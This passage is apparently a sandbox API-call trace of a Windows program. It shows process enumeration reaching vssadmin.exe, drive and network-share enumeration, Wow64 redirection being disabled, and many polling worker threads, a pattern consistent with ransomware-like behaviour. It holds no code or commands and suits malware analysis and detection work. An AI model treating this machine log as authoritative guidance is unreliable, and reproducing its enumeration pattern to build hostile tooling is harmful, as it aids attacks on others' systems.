dwFlags=0x0, szExeFile="conhost.exe")) returned 1 [0137.627] lstrlenW (lpString="conhost.exe") returned 11 [0137.627] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0xb50, pcPriClassBase=8, dwFlags=0x0, szExeFile="vssadmin.exe")) returned 1 [0137.628] lstrlenW (lpString="vssadmin.exe") returned 12 [0137.628] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbd0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="VSSVC.exe")) returned 1 [0137.629] lstrlenW (lpString="VSSVC.exe") returned 9 [0137.629] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x810, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1d4, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0137.630] lstrlenW (lpString="svchost.exe") returned 11 [0137.630] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 1 [0137.630] lstrlenW (lpString="LogonUI.exe") returned 11 [0137.630] Process32NextW (in: hSnapshot=0x21c, lppe=0x37fcac | out: lppe=0x37fcac*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x830, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1b0, pcPriClassBase=13, dwFlags=0x0, szExeFile="LogonUI.exe")) returned 0 [0137.631] CloseHandle (hObject=0x21c) returned 1 [0137.631] Sleep (dwMilliseconds=0x1f4) Thread: id = 15 os_tid = 0xae4 [0111.764] WaitForSingleObject (hHandle=0x18f0f8, dwMilliseconds=0xffffffff) returned 0xffffffff Thread: id = 16 os_tid = 0x4bc [0111.765] GetLogicalDrives () returned 0x4 [0112.830] GetComputerNameW (in: lpBuffer=0x53d634, nSize=0x22f824 | out: lpBuffer="XDUWTFONO", nSize=0x22f824) returned 1 [0112.831] WNetOpenEnumW (in: dwScope=0x3, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22f7f4 | out: lphEnum=0x22f7f4*=0x516090) returned 0x0 [0112.831] WNetEnumResourceW (in: hEnum=0x516090, lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8 | out: lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8) returned 0x103 [0112.832] WNetCloseEnum (hEnum=0x516090) returned 0x0 [0112.832] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x0, lphEnum=0x22f7f4 | out: lphEnum=0x22f7f4*=0x5395f0) returned 0x0 [0115.291] WNetEnumResourceW (in: hEnum=0x5395f0, lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8 | out: lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8) returned 0x0 [0115.291] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5336a0, lphEnum=0x22f7c8 | out: lphEnum=0x22f7c8*=0x516310) returned 0x0 [0115.399] WNetEnumResourceW (in: hEnum=0x516310, lpcCount=0x22f7c4, lpBuffer=0x37c22a0, lpBufferSize=0x22f7cc | out: lpcCount=0x22f7c4, lpBuffer=0x37c22a0, lpBufferSize=0x22f7cc) returned 0x103 [0115.399] WNetCloseEnum (hEnum=0x516310) returned 0x0 [0115.399] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5336c0, lphEnum=0x22f7c8 | out: lphEnum=0x22f7c8*=0x0) returned 0x4b8 [0135.994] WNetOpenEnumW (in: dwScope=0x2, dwType=0x1, dwUsage=0x0, lpNetResource=0x5336e0, lphEnum=0x22f7c8 | out: lphEnum=0x22f7c8*=0x0) returned 0x4c6 [0135.996] WNetEnumResourceW (in: hEnum=0x5395f0, lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8 | out: lpcCount=0x22f7f0, lpBuffer=0x5336a0, lpBufferSize=0x22f7f8) returned 0x103 [0135.996] WNetCloseEnum (hEnum=0x5395f0) returned 0x0 [0135.996] GetLogicalDrives () returned 0x4 [0135.996] Sleep (dwMilliseconds=0x64) [0137.501] GetLogicalDrives () returned 0x4 [0137.501] Sleep (dwMilliseconds=0x64) [0137.709] GetLogicalDrives () returned 0x4 [0137.709] Sleep (dwMilliseconds=0x64) Thread: id = 17 os_tid = 0xad0 [0113.431] GetTickCount () returned 0x2a37f [0113.431] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x114 [0113.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x128 [0113.434] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x12c [0113.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b578, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x130 [0113.436] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.436] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.436] Wow64DisableWow64FsRedirection (in: OldValue=0x1f9fdbc | out: OldValue=0x1f9fdbc*=0x0) returned 1 [0113.436] lstrlenW (lpString="kernel32.dll") returned 12 [0113.436] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.436] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x51b620, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x134 [0113.437] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0113.674] GetTickCount () returned 0x2a3fb [0113.674] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0113.893] GetTickCount () returned 0x2a469 [0113.893] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0114.235] GetTickCount () returned 0x2a4f5 [0114.235] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0114.387] GetTickCount () returned 0x2a591 [0114.387] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0114.729] GetTickCount () returned 0x2a64c [0114.729] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0115.487] GetTickCount () returned 0x2a736 [0115.487] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0115.698] GetTickCount () returned 0x2a811 [0115.698] GetTickCount () returned 0x2a811 [0115.698] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0116.112] GetTickCount () returned 0x2a9a6 [0116.112] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0116.557] GetTickCount () returned 0x2ab6b [0116.557] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0116.948] GetTickCount () returned 0x2acb2 [0116.948] GetTickCount () returned 0x2acb2 [0116.948] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0117.106] GetTickCount () returned 0x2ad4e [0117.106] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0117.567] GetTickCount () returned 0x2aee4 [0117.567] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0117.692] GetTickCount () returned 0x2af61 [0117.692] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0117.834] GetTickCount () returned 0x2afed [0117.834] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0118.209] GetTickCount () returned 0x2b125 [0118.209] GetTickCount () returned 0x2b125 [0118.209] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0118.634] GetTickCount () returned 0x2b25d [0118.634] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0119.085] GetTickCount () returned 0x2b376 [0119.085] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0119.518] GetTickCount () returned 0x2b4ec [0119.518] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0119.722] GetTickCount () returned 0x2b5b7 [0119.722] GetTickCount () returned 0x2b5b7 [0119.722] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0120.048] GetTickCount () returned 0x2b6ff [0120.048] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0120.440] GetTickCount () returned 0x2b856 [0120.440] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0120.638] GetTickCount () returned 0x2b911 [0120.638] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0120.773] GetTickCount () returned 0x2b99d [0120.773] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0121.012] GetTickCount () returned 0x2ba59 [0121.012] GetTickCount () returned 0x2ba59 [0121.012] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0121.358] GetTickCount () returned 0x2bb52 [0121.358] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0121.641] GetTickCount () returned 0x2bc4c [0121.641] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0122.029] GetTickCount () returned 0x2bdb3 [0122.029] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0122.421] GetTickCount () returned 0x2bf39 [0122.421] GetTickCount () returned 0x2bf39 [0122.421] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0122.708] GetTickCount () returned 0x2c051 [0122.708] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0123.027] GetTickCount () returned 0x2c199 [0123.027] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0123.393] GetTickCount () returned 0x2c2e1 [0123.393] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0123.620] GetTickCount () returned 0x2c3cb [0123.620] GetTickCount () returned 0x2c3cb [0123.620] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0124.050] GetTickCount () returned 0x2c57f [0124.067] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0124.413] GetTickCount () returned 0x2c698 [0124.413] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0124.830] GetTickCount () returned 0x2c83d [0124.830] GetTickCount () returned 0x2c83d [0124.830] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0125.377] GetTickCount () returned 0x2ca21 [0125.383] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0125.804] GetTickCount () returned 0x2cbd6 [0125.804] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0126.589] GetTickCount () returned 0x2cee2 [0126.589] GetTickCount () returned 0x2cee2 [0126.589] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0126.974] GetTickCount () returned 0x2d049 [0126.974] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0127.324] GetTickCount () returned 0x2d1a0 [0127.324] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0127.603] GetTickCount () returned 0x2d2b9 [0127.603] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0127.960] GetTickCount () returned 0x2d41f [0127.960] GetTickCount () returned 0x2d41f [0127.960] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0128.322] GetTickCount () returned 0x2d586 [0128.322] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0128.474] GetTickCount () returned 0x2d622 [0128.474] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0128.638] GetTickCount () returned 0x2d6be [0128.638] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0128.893] GetTickCount () returned 0x2d7c7 [0128.893] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0129.361] GetTickCount () returned 0x2d99b [0129.361] GetTickCount () returned 0x2d99b [0129.361] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0129.871] GetTickCount () returned 0x2db41 [0129.871] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0130.003] GetTickCount () returned 0x2dbcd [0130.003] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0130.492] GetTickCount () returned 0x2ddb1 [0130.492] GetTickCount () returned 0x2ddb1 [0130.492] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0130.715] GetTickCount () returned 0x2de8b [0130.715] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0130.966] GetTickCount () returned 0x2df85 [0130.966] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0131.266] GetTickCount () returned 0x2e0bd [0131.267] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0131.406] GetTickCount () returned 0x2e149 [0131.406] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0131.624] GetTickCount () returned 0x2e224 [0131.624] GetTickCount () returned 0x2e224 [0131.624] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0131.821] GetTickCount () returned 0x2e33c [0131.914] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0132.145] GetTickCount () returned 0x2e426 [0132.149] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0132.315] GetTickCount () returned 0x2e4d2 [0132.315] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0132.862] GetTickCount () returned 0x2e5db [0132.863] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0132.983] GetTickCount () returned 0x2e658 [0132.983] GetTickCount () returned 0x2e658 [0132.983] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.089] GetTickCount () returned 0x2e6c5 [0133.089] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.270] GetTickCount () returned 0x2e771 [0133.270] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.370] GetTickCount () returned 0x2e7de [0133.370] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.490] GetTickCount () returned 0x2e84b [0133.490] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.590] GetTickCount () returned 0x2e8b8 [0133.590] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.697] GetTickCount () returned 0x2e926 [0133.697] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.807] GetTickCount () returned 0x2e993 [0133.807] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0133.916] GetTickCount () returned 0x2ea00 [0133.916] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.025] GetTickCount () returned 0x2ea6d [0134.025] GetTickCount () returned 0x2ea6d [0134.025] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.135] GetTickCount () returned 0x2eada [0134.135] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.244] GetTickCount () returned 0x2eb48 [0134.244] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.352] GetTickCount () returned 0x2ebb5 [0134.352] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.462] GetTickCount () returned 0x2ec22 [0134.462] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.571] GetTickCount () returned 0x2ec8f [0134.571] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.680] GetTickCount () returned 0x2ecfc [0134.680] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.789] GetTickCount () returned 0x2ed6a [0134.789] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0134.898] GetTickCount () returned 0x2edd7 [0134.898] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0135.008] GetTickCount () returned 0x2ee44 [0135.008] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0135.238] GetTickCount () returned 0x2eef0 [0135.238] GetTickCount () returned 0x2eef0 [0135.238] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0135.511] GetTickCount () returned 0x2f008 [0135.511] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0135.652] GetTickCount () returned 0x2f095 [0135.652] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0135.996] GetTickCount () returned 0x2f1ec [0135.996] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0137.502] GetTickCount () returned 0x2f7c6 [0137.502] GetTickCount () returned 0x2f7c6 [0137.502] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) returned 0x102 [0137.708] GetTickCount () returned 0x2f8a0 [0137.708] WaitForSingleObject (hHandle=0x134, dwMilliseconds=0x64) Thread: id = 18 os_tid = 0xaf0 [0113.843] GetTickCount () returned 0x2a43a [0113.843] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x140 [0113.845] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x144 [0113.848] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x148 [0113.850] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x408d90, lpParameter=0x53b5f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x14c [0113.852] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75a20000 [0113.853] GetProcAddress (hModule=0x75a20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75a4d650 [0113.853] Wow64DisableWow64FsRedirection (in: OldValue=0xadfa2c | out: OldValue=0xadfa2c*=0x0) returned 1 [0113.853] lstrlenW (lpString="kernel32.dll") returned 12 [0113.853] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0113.853] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4091a0, lpParameter=0x54d638, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x150 [0113.869] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0114.206] GetTickCount () returned 0x2a4d6 [0114.206] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0114.358] GetTickCount () returned 0x2a572 [0114.358] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0114.674] GetTickCount () returned 0x2a60e [0114.674] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0115.254] GetTickCount () returned 0x2a67b [0115.254] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0115.515] GetTickCount () returned 0x2a755 [0115.515] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0115.698] GetTickCount () returned 0x2a811 [0115.698] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0116.113] GetTickCount () returned 0x2a9a6 [0116.113] GetTickCount () returned 0x2a9a6 [0116.113] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0116.556] GetTickCount () returned 0x2ab6b [0116.556] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0116.948] GetTickCount () returned 0x2acb2 [0116.949] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0117.106] GetTickCount () returned 0x2ad4e [0117.106] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0117.567] GetTickCount () returned 0x2aee4 [0117.567] GetTickCount () returned 0x2aee4 [0117.567] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0117.692] GetTickCount () returned 0x2af61 [0117.692] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0117.833] GetTickCount () returned 0x2afed [0117.833] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0118.209] GetTickCount () returned 0x2b125 [0118.209] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0118.634] GetTickCount () returned 0x2b25d [0118.634] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0119.085] GetTickCount () returned 0x2b376 [0119.085] GetTickCount () returned 0x2b376 [0119.085] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0119.518] GetTickCount () returned 0x2b4ec [0119.518] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0119.722] GetTickCount () returned 0x2b5b7 [0119.722] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0120.048] GetTickCount () returned 0x2b6ff [0120.048] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0120.440] GetTickCount () returned 0x2b856 [0120.440] GetTickCount () returned 0x2b856 [0120.440] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0120.637] GetTickCount () returned 0x2b911 [0120.638] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0120.773] GetTickCount () returned 0x2b99d [0120.773] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0121.012] GetTickCount () returned 0x2ba59 [0121.012] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0121.358] GetTickCount () returned 0x2bb52 [0121.358] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0121.640] GetTickCount () returned 0x2bc4c [0121.640] GetTickCount () returned 0x2bc4c [0121.640] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0122.028] GetTickCount () returned 0x2bdb3 [0122.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0122.422] GetTickCount () returned 0x2bf39 [0122.422] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0122.708] GetTickCount () returned 0x2c051 [0122.708] GetTickCount () returned 0x2c051 [0122.708] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0123.027] GetTickCount () returned 0x2c199 [0123.028] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0123.393] GetTickCount () returned 0x2c2e1 [0123.393] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0123.620] GetTickCount () returned 0x2c3cb [0123.620] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0124.067] GetTickCount () returned 0x2c57f [0124.067] GetTickCount () returned 0x2c57f [0124.067] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0124.413] GetTickCount () returned 0x2c698 [0124.413] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0124.830] GetTickCount () returned 0x2c83d [0124.830] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0125.385] GetTickCount () returned 0x2ca31 [0125.419] GetTickCount () returned 0x2ca50 [0125.419] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0125.804] GetTickCount () returned 0x2cbd6 [0125.804] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0126.589] GetTickCount () returned 0x2cee2 [0126.589] GetTickCount () returned 0x2cee2 [0126.589] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0126.974] GetTickCount () returned 0x2d049 [0126.974] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0127.324] GetTickCount () returned 0x2d1a0 [0127.324] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0127.603] GetTickCount () returned 0x2d2b9 [0127.603] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0127.960] GetTickCount () returned 0x2d41f [0127.960] GetTickCount () returned 0x2d41f [0127.960] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0128.322] GetTickCount () returned 0x2d586 [0128.322] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0128.475] GetTickCount () returned 0x2d622 [0128.475] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0128.638] GetTickCount () returned 0x2d6be [0128.638] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0128.893] GetTickCount () returned 0x2d7c7 [0128.893] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0129.360] GetTickCount () returned 0x2d99b [0129.360] GetTickCount () returned 0x2d99b [0129.361] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0129.871] GetTickCount () returned 0x2db41 [0129.871] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0130.003] GetTickCount () returned 0x2dbcd [0130.003] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0130.492] GetTickCount () returned 0x2ddb1 [0130.492] GetTickCount () returned 0x2ddb1 [0130.492] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0130.715] GetTickCount () returned 0x2de8b [0130.715] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0130.966] GetTickCount () returned 0x2df85 [0130.966] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0131.266] GetTickCount () returned 0x2e0bd [0131.266] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0131.406] GetTickCount () returned 0x2e149 [0131.406] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0131.624] GetTickCount () returned 0x2e224 [0131.624] GetTickCount () returned 0x2e224 [0131.624] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0131.914] GetTickCount () returned 0x2e33c [0131.914] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0132.149] GetTickCount () returned 0x2e426 [0132.149] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0132.315] GetTickCount () returned 0x2e4d2 [0132.315] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0132.863] GetTickCount () returned 0x2e5db [0132.863] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0132.983] GetTickCount () returned 0x2e658 [0132.983] GetTickCount () returned 0x2e658 [0132.983] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.089] GetTickCount () returned 0x2e6c5 [0133.089] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.270] GetTickCount () returned 0x2e771 [0133.270] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.370] GetTickCount () returned 0x2e7de [0133.370] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.490] GetTickCount () returned 0x2e84b [0133.490] WaitForSingleObject (hHandle=0x150, dwMilliseconds=0x64) returned 0x102 [0133.590] GetTickCount () 